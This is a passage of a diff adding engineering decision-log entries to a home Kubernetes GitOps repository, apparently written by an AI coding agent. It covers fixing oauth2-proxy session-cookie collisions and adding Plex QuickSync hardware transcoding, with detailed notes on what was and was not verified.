+emitted no `--cookie-name` at all. Hand-editing a golden is not a fix twice over: `ci/render-golden.sh`
+FAILS on the drift (provoked, not assumed — see below), and the next re-render silently reverts it.
+
+So the fix is in the generator, and both flags are now **derived** from the ServiceDefinition:
+
+    --cookie-name=_oauth2_proxy_{s['name']}     unique per service, by construction
+    --cookie-domain={host}                      the app's own route host, not the zone
+
+`--whitelist-domain` deliberately stays zone-wide — it governs permitted post-login *redirect*
+targets, not cookie scope. `catalog/render.py --selftest` gained four assertions, including one
+that renders a **second** synthetic forward-auth service and requires the two cookie names to
+differ, so a future refactor to a constant fails in the renderer's own test.
+
+Re-rendering with the canonical command regenerated **five** goldens, not four. Jackett is the
+fifth, and this is the one thing in this branch the PM brief did not anticipate — see
+"the jackett collision" below. The three `conformance/tests/l1-rendering/*/golden/` fixtures are
+expected-output copies of the same renderer, so they are regenerated too; that is not collateral
+damage, it is the L1 stage doing its job (it FAILED on the first gate run and named the drift).
+
+**The new gate check** is `conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/`,
+declaring `conformance.home.k3s/scope: whole-repo` so `ci/l0.sh`'s `--include-scope` union runs it
+on **every** gate invocation. No bespoke `ci/l0.sh` stage was added — `whole-repo-invariants-wired`
+fails the gate if anyone adds one, and the scope annotation is the supported mechanism.
+
+It inventories every oauth2-proxy instance the repo authors (containers at any depth, plus the
+shared proxy's HelmRelease values) and resolves each one's **effective** cookie name — its declared
+name, **or oauth2-proxy's built-in `_oauth2_proxy` when it declares none**. That single modelling
+decision is the whole check: an omitted flag is not an absence, it is a *claim on a name*, and
+treating it as an absence is precisely why five reviewers read these manifests and saw nothing.
+Then: (1) no two effective names collide; (2) no name is another's name + `_csrf`, because that is
+how oauth2-proxy derives the CSRF cookie and two such session names look distinct while their CSRF
+cookies collide; (3) the default name has exactly one owner, and it is the one registered in
+`SHARED_DEFAULT_COOKIE_OWNER`; (4) every non-registered instance is host-scoped; (5)
+`catalog/render.py` derives rather than lists; (6) the **shipped** renderer is proven end-to-end on
+two synthetic ServiceDefinitions run as a subprocess.
+
+**On the shared proxy — "distinct" or "explicitly declared"?** The brief asked me to decide, and
+the answer is *neither, quite*. The shared forward-auth proxy at `platform/oauth2-proxy/` **must
+keep** `_oauth2_proxy`: it is the single session every forward-auth-gated surface without its own
+sidecar rides on, so renaming it signs all of them out at once. Requiring *every* instance to
+declare a name would therefore need an exemption, and an exemption is a hole: delete the shared
+proxy and whichever app next omitted the flag would silently inherit the default with the rule
+still satisfied. So the assertion is plain **distinctness over effective names**, with the default
+treated as a name like any other — held by **exactly one owner, named in a shrink-only register
+with its reason**. The shared proxy needs no exemption from the rule; it is simply the registered
+holder of that one name. A stale register entry FAILS (the exemption would outlive its object) and
+an unregistered holder FAILS (no silent heirs). Both were provoked and are quoted below.
+
+**On host-scoped `--cookie-domain` — overreach, or not?** Asserted, and here is the argument both
+ways. *Against:* distinct names alone close the eviction bug completely — two differently-named
+cookies do not overwrite each other however wide their domains are — so this assertion fixes
+nothing (1) has not already fixed, and a check that fails a legitimate configuration is a check
+someone eventually disables. *For, and this wins:* a zone-wide cookie is **transmitted by the
+browser to every host in the zone**. qBittorrent's session token was being sent to pihole, radarr,
+sonarr and every other name under the zone, including hosts behind no proxy at all — a
+session-credential disclosure across trust boundaries that nothing needs. And it is what makes a
+*future* name collision catastrophic rather than contained: with host-scoped cookies, two
+instances that accidentally share a name cannot see each other's cookie at all. Defence in depth
+on the exact axis that already failed once. The escape hatch is the same register, by name and
+with a reason, rather than a loosened rule.
+
+### The jackett boundary, and why it could not hold
+
+`apps/wave-0/jackett.yaml` carries the identical defect and was initially assigned to a concurrent
+branch, with an instruction to me not to touch it. **That separation is not achievable** — the
+ownership split was drawn across a generated file — and I did not discover this by reasoning about
+it, I provoked it. With the renderer fixed and jackett's golden left at its `main` content,
+`./ci/render-golden.sh` exits **1**:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render:
+    -        - --cookie-domain=.${BASE_DOMAIN}
+    +        - --cookie-name=_oauth2_proxy_jackett
+    +        - --cookie-domain=jackett.${BASE_DOMAIN}
+    [fail] render==golden check FAILED
+
+Jackett's golden is an *output* of the file that contains the defect. There are exactly three
+options and two of them are worse: hand-edit four goldens and leave the generator broken (fails
+`render-golden`, and reverts on the next render); add a per-service carve-out to the renderer so
+jackett alone keeps defaulting (ships the exact "list, don't derive" anti-pattern this check
+exists to forbid, and leaves jackett broken *by design*); or fix the generator and regenerate all
+five. I took the third. Jackett's golden here is **machine output of a one-line generator change**,
+not an independent edit of Mira's file, and it is byte-identical to what her branch must produce.
+
+**Consequence:** the jackett branch has no cookie work left in it — this commit fixes jackett
+identically and by the same mechanism, and both branches independently arrived at the *same two
+values* (`_oauth2_proxy_jackett`, `jackett.${BASE_DOMAIN}`), which is a good sign for the
+diagnosis. Its hand-edit of the rendered file will fail `render-golden` on its own terms, so it
+should be closed rather than rebased. **What must not be lost with it** is its evidence: the
+interleaved radarr/jackett log showing `removing session` deleting a clean session 26s after login,
+and the `expires − created = 300.000s` measurement that produced `--cookie-refresh` here. Both are
+carried into this entry and into the renderer's comments; the branch itself is now redundant, the
+work behind it is not.
+
+**The general lesson, which is worth more than this bug:** an ownership split across
+`apps/wave-*/*.yaml` cannot hold, because those files are *outputs*. Two agents assigned two
+rendered apps are assigned the same function and will collide in `render-golden` no matter how
+carefully they stay in their own files. Ownership of a rendered app is ownership of
+`catalog/render.py`, and briefs should say so.
+
+### What this branch deliberately does NOT do
+
+- **`--api-route=^/api/` is NOT added**, and not because of scope discipline alone: it would be
+  **wrong** renderer-wide. It was measured on jackett, and **PiHole does not serve `/api/`** — so
+  a renderer constant applies one app's path shape to five. Doing it properly means declaring API
+  path prefixes per service, and the `auth` block is `additionalProperties: false`, so that is a
+  *schema change*. Separate PR. (Note the flag is **`--api-route`, singular** — verified in the
+  pinned binary's own `--help`. The plural `--api-routes` does not exist in v7.8.1 and the proxy
+  refuses to start with it. That error was propagating through briefs; it stops here.)
+- **`--session-cookie-minimal` is NOT added** and must not be, as a cookie-size fix: it is
+  **mutually exclusive** with `--cookie-refresh` (*"cookie_refresh > 0 requires oauth tokens in
+  sessions"*). Dropping `--pass-access-token` is a least-privilege argument, never a size one.
+- **Metrics are NOT scraped, only served.** The flag and container port are the prerequisite;
+  a container port is not a Service port. These Services expose the app port and `:4180`, and each
+  namespace's default-deny baseline is `ingress: []`, so Prometheus can neither resolve nor reach
+  `:44180` until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+  exist. That wiring is someone else's follow-up and I have deliberately not faked its start.
+  **Nobody should read this commit as "the sidecars have metrics now."**
+- **The new check was NOT widened to cover cookie-refresh or metrics.** Its subject is cookie
+  *identity*; those two share neither its inputs nor its failure mode. Bundling them would make
+  the check's name a lie and couple unrelated ratchets, so a future metrics decision could only
+  be expressed by weakening a *cookie* check. The cost of that discipline is named honestly in
+  the follow-ups: those two flags are currently **ungated**.
+
+## What I verified
+
+- **The premise, in-cluster, rather than inherited from the handoff** (CLAUDE.md §2b). Read-only,
+  `kubectl --context k3s-prod`, through the pinned toolbox.
+  - **Seven** `*-oauth2-proxy` Secrets carry a `cookie-secret`: crafty, jackett, pihole,
+    qbittorrent, radarr, sonarr, and the shared `oauth2-proxy-credentials`. **All seven values are
+    DISTINCT.** Compared without printing anything: each value was hashed **in-cluster-side script,
+    never echoed**, and only the first 8 hex characters of each `sha256` were emitted — enough to
+    say same-or-different, recovering nothing. Secret *key names* were listed; no `.data` or
+    `.stringData` was printed (CLAUDE.md §6). **So no instance can decrypt another's cookie — it can
+    only overwrite it. The premise holds.**
+  - **The default cookie names really were in use.** Of 8 live oauth2-proxy containers, **6 declare
+    no `--cookie-name` at all** — jackett, pihole, qbittorrent, radarr, sonarr, and both replicas of
+    the shared proxy — so all six emit `_oauth2_proxy` / `_oauth2_proxy_csrf`. All six also carry
+    `--cookie-domain=.home.keithjackson.dev`. **One cookie pair, six independent instances.**
+  - Crafty's live pod (`crafty-647c7d8cc5-5spv9`) already carries
+    `--cookie-name=_oauth2_proxy_crafty` and `--cookie-domain=crafty.home.keithjackson.dev`, so
+    PR #22 is merged and reconciled. It is the only compliant per-app instance on the cluster.
+- **THE COLLISION IS REAL. IT IS NOT ESTABLISHED AS THE CAUSE OF THE REPORTED FAILURES.** These
+  are two different claims and only the first is supported. I was handed counter-evidence —
+  crafty, the app already fixed, showed the *worst* rejection ratio of the set over a 24h Loki
+  window (`crafty 81:1`, `radarr 67:1`, `jackett 39:4`) — and it is right to refuse the causal
+  claim. What I could do was bound the window. Read from **each sidecar's own log** rather than
+  Loki, because `kubectl logs` on a pod that has not restarted cannot reach a pod older than
+  itself, so a window inside the pod's age is inside the fixed spec's lifetime *by construction*:
+
+      namespace      age(h) rst  reject success    ratio  cleared  badsig
+      crafty           13.9   0       3       0      n/a        0       0   <- FIXED spec, whole life
+      radarr          422.5   0     155       1  155.0:1        8       8
+      jackett         422.6   0      39       4    9.8:1        1       1
+      pihole          395.7   0       0       0      0:0        0       0
+      qbittorrent     404.1   0       0       0      0:0        0       0
+      sonarr          422.5   0       0       0      0:0        0       0
+      oauth2-proxy    422.6   0       0       0      0:0        0       0   (both replicas)
+
+  `reject` = `No valid authentication in request`; `success` = `AuthSuccess`;
+  `cleared` = `removing session` (oauth2-proxy's `ClearSession`); `badsig` = `cookie signature
+  not valid`. Window `--since=24h`, which exceeds every pod's age only for crafty — whose pod is
+  13.9h old with **0 restarts**, so these are its complete post-fix figures.
+
+  Then I read crafty's four auth-relevant lines rather than counting them, because at n=3 the
+  content is the evidence:
+
+      03:57:20  Cookie settings: name:_oauth2_proxy_crafty secure(https):true httponly:true
+                expiry:168h0m0s domains:crafty.home.keithjackson.dev path:/
+      04:02:55  No valid authentication in request. Initiating login.
+      15:22:39  No valid authentication in request. Initiating login.
+      15:22:44  No valid authentication in request. Initiating login.
+
+  6743 log lines; those are all four. **Zero** `removing session`, **zero** `cookie signature
+  not valid`, zero anything else.
+
+  Four conclusions, kept separate:
+  1. **`crafty 81:1` is a window artefact. It is not evidence against the fix and must not be
+     cited as such.** The fixed pod emitted **3** rejections in 13h 52m; the 81 came from a 24h
+     window straddling it, i.e. from the pre-fix process.
+  2. **The eviction FINGERPRINT is gone where the fix is deployed.** `cookie signature not
+     valid` + `removing session` is what a clobbered instance logs — a cookie *is* present,
+     written with a key this instance does not hold, so it cannot decrypt it and then
+     `ClearSession` expires it on its own `--cookie-domain`. Fixed crafty: **0 and 0** across
+     its whole life. Unfixed radarr: **8 and 8** in 12h. Unfixed jackett: 1 and 1. That is a
+     real, directional signal and it is the strongest evidence available that the fix works.
+  3. **It is still not a demonstrated successful sign-in.** Crafty logged **0 `AuthSuccess`** —
+     so what is shown is *absence of the failure mode*, not a session observed working
+     end-to-end. Those three rejections are consistent with benign first-hits (one client, two
+     of them 5s apart, i.e. a page plus a `/ws` reconnect). I am comfortable saying the fix
+     works; I am not willing to say it has been watched working, and the distinction is the
+     whole reason this section exists.
+  4. **The collision is a MINORITY of the rejection volume.** radarr: 8 of 155 (5%) carry the
+     fingerprint; ~95% carry **no cookie at all**. Those are the 5-minute session expiry and
+     `302`-on-XHR — the first of which this branch now also fixes, the second of which it
+     deliberately does not.
+
+  Two cautions about the instrument. `reject` ranks **chattiness, not breakage**: radarr's are
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate` polls, so a busy *arr
+  inflates the count with nobody inconvenienced. And that same polling is the *amplifier* that
+  made this intermittent — every poll carrying an undecryptable cookie calls `ClearSession`
+  again on the zone-wide domain, so **a left-open Radarr tab deleted Jackett's cookie every few
+  seconds, from another namespace, with no user action at all.** That is why signing in again
+  never helped for longer than the gap between two polls. It is now a comment in the renderer,
+  because it is the part of this bug that no one would reconstruct from the flags alone.
+- **The four target files are generated, not authored.** Rendering `catalog/` with the canonical
+  command into a temp dir and diffing against `apps/` reported all 10 onboarded goldens
+  byte-identical before any change. Hand-editing one is drift by definition.
+- **`render-golden` FAILS if jackett is excluded** — provoked (output quoted above), rc **1**.
+  Restoring the regenerated golden returns it to `all 10 onboarded service golden(s) reproduce`,
+  rc **0**.
+- **Every flag verified against the PINNED v7.8.1 binary**, not against docs, memory, or the
+  shared proxy (which runs **v7.15.3** and therefore could not vouch for v7.8.1):
+  `podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help`.
+  - `--cookie-name string ... (default "_oauth2_proxy")` — **this confirms the constant my whole
+    check is built on, from the binary itself.** The check's central claim, that an omitted flag
+    is a *claim on a name* rather than an absence, now rests on the implementation's own help
+    text rather than on my reading of its source.
+  - `--cookie-refresh duration  refresh the cookie after this duration; 0 to disable` — confirms
+    the default really is disabled.
+  - `--metrics-address string` — present in v7.8.1, so the new flag cannot crashloop the pods.
+  - `--api-route strings` — **singular**, confirming the brief's plural was wrong.
+  - `--session-cookie-minimal` — exists, and is the flag that conflicts with `--cookie-refresh`.
+- **44180 is the platform's existing convention, measured, not chosen.** The shared proxy already
+  runs `--metrics-address=0.0.0.0:44180` with a `metrics` container port, a `metrics:44180`
+  Service port, a ServiceMonitor whose endpoint is `metrics`, and **2 ready endpoint addresses** —
+  i.e. it demonstrably works on this platform.
+- **`catalog/render.py --selftest`: PASS**, now including the two-service distinctness assertion,
+  a `--cookie-refresh` assertion that PARSES the duration and requires `0 < refresh < 300s` (so
+  `2m30s` -> `150s` -> `2.5m` all stay green but a silent widening past the token lifetime does
+  not), a `--session-cookie-minimal` mutual-exclusion guard, and both metrics assertions.
+- **The check is selected by the whole-repo union.** `conformance/run.sh --layer l0 --requirements
+  r-nosuchreq-99 --include-scope whole-repo --print-selection` lists
+  `tests/l0-static/oauth2-proxy-cookie-names-distinct` among 20 tests — i.e. it runs even when the
+  touched-requirement filter matches nothing, which is the blind spot it was scoped for.
+- **The check was tested in BOTH directions**, against throwaway trees outside the repo, never by
+  mutating the branch:
+  - **Compliant tree (this branch): rc 0, 39 assertions, 7 instances audited.**
+  - **Pre-fix tree** (`git archive HEAD` + this test dropped in): **rc 1, 26 failures**, naming all
+    five violators, the 6-way `_oauth2_proxy` collision, the zone-wide domains, the renderer
+    emitting no `--cookie-name`, and both synthetic fixtures rendering `None`.
+  - **Targeted mutations on a compliant copy**, one assertion class each, all fired and nothing
+    else did: duplicate name (sonarr←radarr) → 1 failure; CSRF derivation
+    (`_oauth2_proxy_sonarr_csrf` as a session name) → fired; zone-wide `--cookie-domain` on pihole
+    → 2 failures; crafty's `--cookie-name` deleted → unregistered-default-heir + 2-way collision;
+    shared proxy renamed → **stale register entry** failure.
+  - A **false positive was found and fixed** by this testing: `platform/oauth2-proxy/forward-auth-cec.yaml`
+    contains `serviceName: oauth2-proxy/oauth2-proxy:80` — an Envoy `namespace/service:port`
+    reference, not an image — which the first inventory scan counted as an unaudited instance. The
+    scan is now anchored on `image:`, and the near-miss is documented in the check.
+- **Gate:** toolbox `./ci/gate.sh` — exit code and stage list in the next section, because it is
+  not a pass and that belongs there.
+
+## What I did NOT verify
+
+- **Local gate: rc 3 (UNDETERMINED), not 0.** Green: `spec-immutability`, `decisions-log`, `lint`,
+  `l0`, `render-golden`, `l1`, `approval-policy`. **Skipped:** `gitea-settings` (no
+  `SETTINGS_API_TOKEN` locally) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset). Nothing
+  FAILED; nothing runtime was certified either. **rc 3 is UNDETERMINED, never green.** Touched
+  subset `R-GITOPS-02 R-IDP-02 R-IDP-06 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-PLAT-02 R-TEST-01
+  R-TEST-02 R-TEST-03 R-TEST-04` — **UNVERIFIED** at L2/L3, all twelve.
+- **`spec-immutability` was skipping because of a BUG IN MY TOOLING, not the environment.** The
+  worktree ENGINE shim in circulation mounts only the main checkout's `.git`, and `dev.sh`
+  computes the spec path from its own `REPO_ROOT` — which in a worktree is
+  `.claude/worktrees/agent-*/`, so `../home-network-k3s` does not resolve and it adds no spec
+  mount at all. The gate then reported the skip, and the skip read as "the one tolerated
+  environmental skip" while actually being a path bug being waved through. Adding
+  `-v /var/home/keith/source/home-network-k3s:/home-network-k3s:ro -e SPEC_REPO=/home-network-k3s`
+  makes **R-TEST-06 actually run and pass**. Worth putting in every worktree agent brief; the
+  two-mount shim in CLAUDE.md §3 should say so.
+- **CI: `gate / gate (pull_request)` reports FAILURE on `75a4029`, for exactly ONE reason, and it
+  is not this change.** Read from the job log rather than the tick:
+
+      [fail] approval-policy: a sensitive change lacks a non-author approval -> blocks merge
+      [fail] MERGE GATE: BLOCKED
+
+  Every substantive stage is **green in CI** — `gitea-settings: pass` (CI has the token my local
+  run does not), `decisions-log`, `lint`, `l0`, `render-golden`, `l1`. Skipped: `spec-immutability`
+  (the workflow does not check the spec repo out — the documented tolerated skip) and
+  `conformance` (declared). So CI is a **stricter, more complete** run than my local one on every
+  axis except the spec repo, and it agrees.
+  `infra/gitea/approval-policy.json` lists `conformance/**` as sensitive — *"the tests and the
+  harness; changing them changes what green MEANS"* — so this PR is **fail-closed pending a
+  non-author approving review**, which is CLAUDE.md §1 working, not a defect to route around.
+  **The red tick is the policy, and it clears when a human reviews it.** Note also that
+  `gate / conformance (pull_request)` reports `success` with description **"Has been skipped"** —
+  the precise trap CLAUDE.md §2b names; it certifies nothing.
+- **A SUCCESSFUL SIGN-IN, ANYWHERE.** The strongest post-fix evidence is the *absence* of the
+  eviction fingerprint on crafty (0 `removing session`, 0 `cookie signature not valid`, across
+  13h 52m) against radarr's 8-and-8. That is directional and I believe it. But crafty logged
+  **0 `AuthSuccess`** in the same window, so no session has been observed working end to end on a
+  fixed instance. Whoever closes this out should re-measure crafty **after real sign-in traffic**.
+- **No browser round-trip by me at all**, for any of the three defects. Reproducing the collision
+  needs two gated apps visited in one session. The concurrent jackett branch does carry an observed
+  log-level reproduction (interleaved radarr/jackett `removing session` deleting a clean session
+  26s after login) — real evidence for the MECHANISM, and it is theirs, not mine.
+- **`--cookie-refresh=2m30s` has never been exercised.** The value is derived from a measured
+  300.000s access-token lifetime and is asserted to sit inside `(0, 300s)`, but no session has been
+  held past the five-minute cliff to watch a refresh succeed. If Keycloak's refresh-token or SSO
+  idle timeouts are shorter than expected, the symptom moves rather than disappears. **This is the
+  fix most likely to need a second pass**, and the first thing to watch after merge.
+- **The `metrics` port has never been fetched.** The listener is asserted to start by flag
+  presence only; nobody has curled `:44180` on a rendered pod. And it is unreachable by design
+  until the Service/policy/ServiceMonitor wiring lands — see above.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. Cluster access was
+  read-only throughout; the one container I ran was the oauth2-proxy image locally under podman to
+  read its `--help`. The running pods are still the pre-fix spec. **Merging is what deploys**, and
+  it will roll five Deployments; every user's existing session on those five apps is invalidated by
+  the cookie rename and they will re-authenticate once. Radarr/sonarr/qbittorrent use
+  `strategy: Recreate` on RWO volumes, so there is a brief gap per app. Pick the moment — and
+  note this now changes **three** flags plus a port on all five, so a bad `--cookie-refresh` value
+  would surface as five apps misbehaving, not one.
+- **The live flags are not re-measured by the check.** git is not the cluster. I measured the live
+  pods by hand, once; nothing in the gate re-reads them, so hand-applied drift would be invisible
+  to it. A live-state assertion is L2 and is not written.
+- **`--cookie-refresh` and `--metrics-address` are UNGATED, and I found out why.** Nothing in
+  `ci/` or `.gitea/` runs `catalog/render.py --selftest` — I grepped for it. So the twenty-odd
+  assertions in that selftest, including the six I just added, are dev-time only: a future edit
+  that drops either flag *and* re-renders the goldens would pass the entire merge gate.
+  `render-golden` catches accidental drift (golden vs renderer) but not a deliberate removal of
+  both together, and my L0 check deliberately does not cover these two flags. **The repo already
+  has the precedent for the fix and the one-line shape of it:**
+  `conformance/tests/l0-static/auditability-proofs-producible/check.sh:291` drives
+  `conformance/lib/<tool> --selftest` as a subprocess for exactly this reason — its own header
+  says it does so "because nothing [else] drives them". Adding `catalog/render.py` to that list,
+  or giving the renderer its own scope-declaring L0 test, closes it. I did not do it here because
+  it widens an already review-blocked PR into a third subject; it is the highest-value follow-up
+  in this entry.
+- **Log-derived counts are a weak instrument and I did not strengthen them.** `kubectl logs
+  --since=` returns what the kubelet still retains, so an old, busy container's window may be
+  truncated; and `No valid authentication in request` counts unauthenticated first hits and XHR
+  polls indiscriminately. The `cookie signature not valid` / `removing session` pair is the only
+  collision-specific signal in there, and it is the one I leaned on. None of this is gated —
+  there is no alert on it and no L2 check reads it.
+- **The cookie-secrets' distinctness is not gated either.** It was measured out of band and is
+  asserted nowhere. If they were ever made identical the collision would become harmless — but
+  sharing one session-encryption key across trust zones is a worse idea than the bug it would mask,
+  so the check does not offer it as an alternative and does not look for it.
+- **The shared proxy's own configuration is unchanged and untested by me.** I did not touch
+  `platform/oauth2-proxy/**` (owned by another agent this cycle); the check only reads it.
+- **Nothing about group authorization, CSRF behaviour, or session contents.** Names and domains only.
+- **`vars.CLUSTER_AVAILABLE` is still unset in CI**, so the PR's green tick — if it goes green —
+  proves the L0/L1 offline subset and nothing about runtime.

decisions/2026-09-30-plex-quicksync.md

@@ -0,0 +1,174 @@
+---
+date: 2026-09-30
+branch: feat/plex-quicksync
+title: Plex opts into `hardware.gpu: intel-quicksync` — the device mount is GitOps, the Plex-side toggle is a documented manual step, and hardware transcoding has NOT been observed working
+---
+
+## What changed
+
+Three things, and the third is the point of the branch.
+
+1. **`catalog/plex.yaml`** — added the four lines the whole feature reduces to:
+
+   ```yaml
+   hardware:
+     gpu: intel-quicksync
+   ```
+
+   placed between `env` and `exposure` to match the schema's own property order, with ~48 lines of
+   comment in the file's established style. The comment records: the field is **intent, not
+   mechanism** (a later move to the Intel device plugin is a `render.py` change and this block does
+   not move); that `/dev/dri/renderD128` is present on **all three** prod nodes with `i915` bound;
+   **why a `supplementalGroups` entry would be inert** (the image's cont-init hook does the group
+   work inside the container and `s6-setuidgid` replaces the process group list from `/etc/group`);
+   why `DirectoryOrCreate` is the load-bearing safe failure mode (`apps-wave-0` is `wait: true` with
+   `apps-wave-1` depending on it, so a failed mount would stall the whole app tier for a feature
+   that is not load-bearing); and that the Plex-side toggle is a **separate manual operator step**,
+   pointing at the new runbook.
+
+2. **`apps/wave-0/plex.yaml`** — re-rendered. Six added lines, nothing else, in the whole `apps/`
+   tree:
+
+   ```
+           - name: dri
+             mountPath: /dev/dri
+         - name: dri
+           hostPath:
+             path: /dev/dri
+             type: DirectoryOrCreate
+   ```
+
+3. **`runbooks/plex-quicksync.md`** (new), registered in `runbooks/kustomization.yaml`'s
+   `configMapGenerator` as `- plex-quicksync=plex-quicksync.md` and indexed in `runbooks/README.md`
+   under "Operator procedures". **The file alone would have been a 404** — the pod serves a
+   ConfigMap, not the git tree, and `conformance/tests/l0-static/alert-runbooks-resolvable` exists
+   precisely because "the file is in git" and "the URL resolves" are different claims. The page
+   covers: the GitOps/manual boundary as a table; the toggle (Settings → Transcoder → "Use hardware
+   acceleration when available", preference key `HardwareAcceleratedCodecs`); the real neighbouring
+   keys and the widely-cited one that **does not exist**; that the only proof is `Transcode (hw)` on
+   the Plex dashboard **and why no alert is possible**; the device-cgroup failure to expect first
+   with a concrete open() diagnostic and the Intel-device-plugin fallback; and the floating-`:latest`
+   caveat with a digest check.
+
+**Stacked on PR #27 (`feat/sd-hardware-capability`), which is open and unmerged.** This branch was
+cut from it rather than from `main`, so its one commit (`d9baa2a`, the schema + renderer + contract)
+is in this PR's range. That is deliberate: merging #27 is not an agent's action (CLAUDE.md §1), and
+duplicating its changes here would have been worse than showing them. **This must merge after #27.**
+
+Not done, deliberately: no `--emit-waves` (it writes into `clusters/base/`, a sensitive path that
+would force a human reviewer, and it is a no-op unless the *set* of files under `apps/` changes — it
+does not here). No `podSecurityContext`. No `nodeSelector`. No alert rule. No `kubectl apply`.
+
+### Two follow-ups left unclaimed, with the reasoning
+
+- **Transcode scratch is on the wrong medium, and it is invisible.** The image sets
+  `TranscoderTempDirectory=/transcode`, which is **not a volume** — it is the container's writable
+  overlay, i.e. the node's `/data`. That is NVMe on prod-2 but **SATA on prod-1 and prod-3**, so
+  transcode scratch performance changes silently on reschedule, with nothing reporting it. Both
+  candidate fixes need a **schema** change and so neither belongs in this PR: pin Plex to prod-2
+  (needs a `nodeSelector` field the schema does not have), or give `/transcode` a `medium: Memory`
+  emptyDir and transcode in RAM (~31 GiB per node; needs an emptyDir field the schema does not
+  have). **The RAM option is the better one** — it removes the node asymmetry outright instead of
+  working around it — which is exactly why it deserves its own PR and its own review rather than
+  being smuggled in behind a four-line catalog change. Documented in the runbook's "Known gaps".
+- **GuC/HuC firmware is not loaded** (`i915.enable_guc=0`). The cost is low-power H.264 **encode**
+  quality only; decode and this feature are unaffected. Changing it needs a kernel parameter plus a
+  **serialized rolling reboot** — an operator action under CLAUDE.md §5, on a cluster with a
+  documented history of that going badly (a prod node hung on a warm reboot on 2026-09-03). Kept
+  well clear of this PR.
+
+### Rebase note (2026-10-01, Ruth Okonkwo) — resolution only, no redesign
+
+Rebased onto `main` @ `08deb20` (was cut from `0fbf544`), restacked on the rebased
+`feat/sd-hardware-capability` (PR #27) so the stack stays coherent — this branch still carries
+exactly PR #27's commit plus its own, with no duplicate of anything already in `main`. The branch
+ref was force-updated with `--force-with-lease`, so PR #32 is the same PR with a new head.
+
+**The `catalog/render.py` conflict disappeared** once PR #27 was rebased; it was never this
+branch's own conflict. **One conflict remained, in `runbooks/README.md`, purely textual.** PR #30
+(`fix/jackett-oauth2-proxy-session`, merged as `08deb20`) appended an `oauth2-proxy-session` index
+entry under *Operator procedures* at the same point this branch appended its `plex-quicksync` entry.
+**Both entries were kept, in full.** Ordering follows this file's existing convention, which is
+grouped/narrative rather than alphabetical (the *Nodes* section runs down/io/memory/disk/cpu):
+`plex-quicksync` sits next to `plex-claim` as the other Plex page, leaving `oauth2-proxy-session`
+adjacent to `crafty-admin-credential`, which cross-references the same sidecar gate. The change to
+`runbooks/README.md` is an 8-line pure insertion, so PR #30's entry is untouched.
+`runbooks/kustomization.yaml` auto-merged and **both** `configMapGenerator` entries are present.
+
+Re-verified after the resolution, on the rebased stack: `--selftest` PASS (rc 0); a full re-render
+reproduces every committed golden byte-identically; and the **only** `apps/` diff against the new
+`main` is `apps/wave-0/plex.yaml`, confined to the expected six lines (the `dri` mount and its
+`DirectoryOrCreate` hostPath volume). No other service's golden moved — PR #28 added ~176 lines of
+oauth2-proxy sidecar rendering, and this confirms by measurement rather than assumption that Plex
+(`auth: native`, no sidecar) is unaffected by it.
+
+## What I verified
+
+- **The render is exactly the intended change, and nothing else moved.** After
+  `python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation` (exit 0,
+  silent): `git diff --stat apps/` = `apps/wave-0/plex.yaml | 6 ++++++`, and
+  `git status --porcelain apps/` = a single ` M apps/wave-0/plex.yaml`. Read line by line, the diff
+  is the `dri` volumeMount and the `dri` hostPath volume, and nothing more. **Specifically checked:**
+  the same invocation also rewrites `apps/wave-1/keycloak.yaml` and `apps/wave-0/vm-demo.yaml`, which
+  are git-tracked but excluded from the golden comparison by `RENDER_GOLDEN_NOT_ONBOARDED` in
+  `ci/render-golden.sh` — a spurious diff there would have landed **ungated**. Neither file shows a
+  diff; whole-repo `git status --porcelain` lists only `apps/wave-0/plex.yaml` and `catalog/plex.yaml`
+  plus my new files.
+- **The rendered output matches what the contract promises** — `schemas/renderer-contract.md`
+  `### hardware` says exactly two things (a `/dev/dri` hostPath with `type: DirectoryOrCreate` and a
+  read-write mount on the app container) and exactly two things appeared. No `securityContext`, no
+  `nodeSelector`, no resources in the diff.
+- **The runbook is projected into the server, not merely committed.** `runbooks/kustomization.yaml`
+  carries `- plex-quicksync=plex-quicksync.md`, whose shape matches the generator-entry regex the
+  L0 check parses; the extensionless key is what makes `/runbooks/plex-quicksync` a plain static
+  lookup. Also indexed in `runbooks/README.md`.
+- **The runbook clears the L0 quality floor** that `alert-runbooks-resolvable` applies to
+  alert-linked pages, even though nothing links to this one (it is advisory for an unreferenced
+  page): all four required sections (`## What this means here`, `## First commands`,
+  `## Likely causes, most likely first`, `## When to escalate or stop`), well over the 1500-byte
+  floor, `dev.sh` used throughout, and `--context k3s-prod` on every command.
+- **The gate.** See the run recorded in the PR description for the per-stage table and the real rc.
+- **No secret was printed.** Every `Preferences.xml` read in the runbook greps one named key, and the
+  page states explicitly why: the file holds `PlexOnlineToken`. Nothing was `sops -d`'d.
+
+## What I did NOT verify
+
+**Hardware transcoding has NOT been observed working.** Nothing in this branch is evidence that it
+does. A green gate here proves the manifest renders and the golden matches — it proves nothing about
+runtime behaviour, and `vars.CLUSTER_AVAILABLE` is unset so L2/L3 conformance did not run at all.
+
+- **The device-cgroup question is OPEN, and it is the largest remaining technical risk.** Whether
+  containerd on this k3s build permits a **non-privileged** pod to `open()` a bind-mounted character
+  device is **UNVERIFIED**. It can only be settled by deploying and trying. The container inits as
+  uid 0, which settles *file* permissions, but uid 0 does **not** bypass the cgroup device gate — and
+  the two failures look identical from the outside. If it is refused, the fallback is the Intel
+  Device Plugin (`gpu.intel.com/i915`), which is a `catalog/render.py` change plus a re-render with
+  **no ServiceDefinition edit**; `privileged: true` is not available (Kyverno
+  `restrict-host-namespaces` is Enforce). The runbook has the diagnostic sequence.
+- **The Plex-side toggle was still unset at the time of writing.** `HardwareAcceleratedCodecs` was
+  **absent** from `Preferences.xml` — the toggle has never been enabled on this server. Until an
+  operator ticks it in the UI, this branch changes the pod spec and **nothing about transcoding**.
+  That is the whole reason the runbook exists.
+- **No metric, so no alert, so no automated detection — permanently.** `catalog/plex.yaml` declares
+  no `metricsEndpoint`, so Plex renders no ServiceMonitor; there is no transcode-mode signal for a
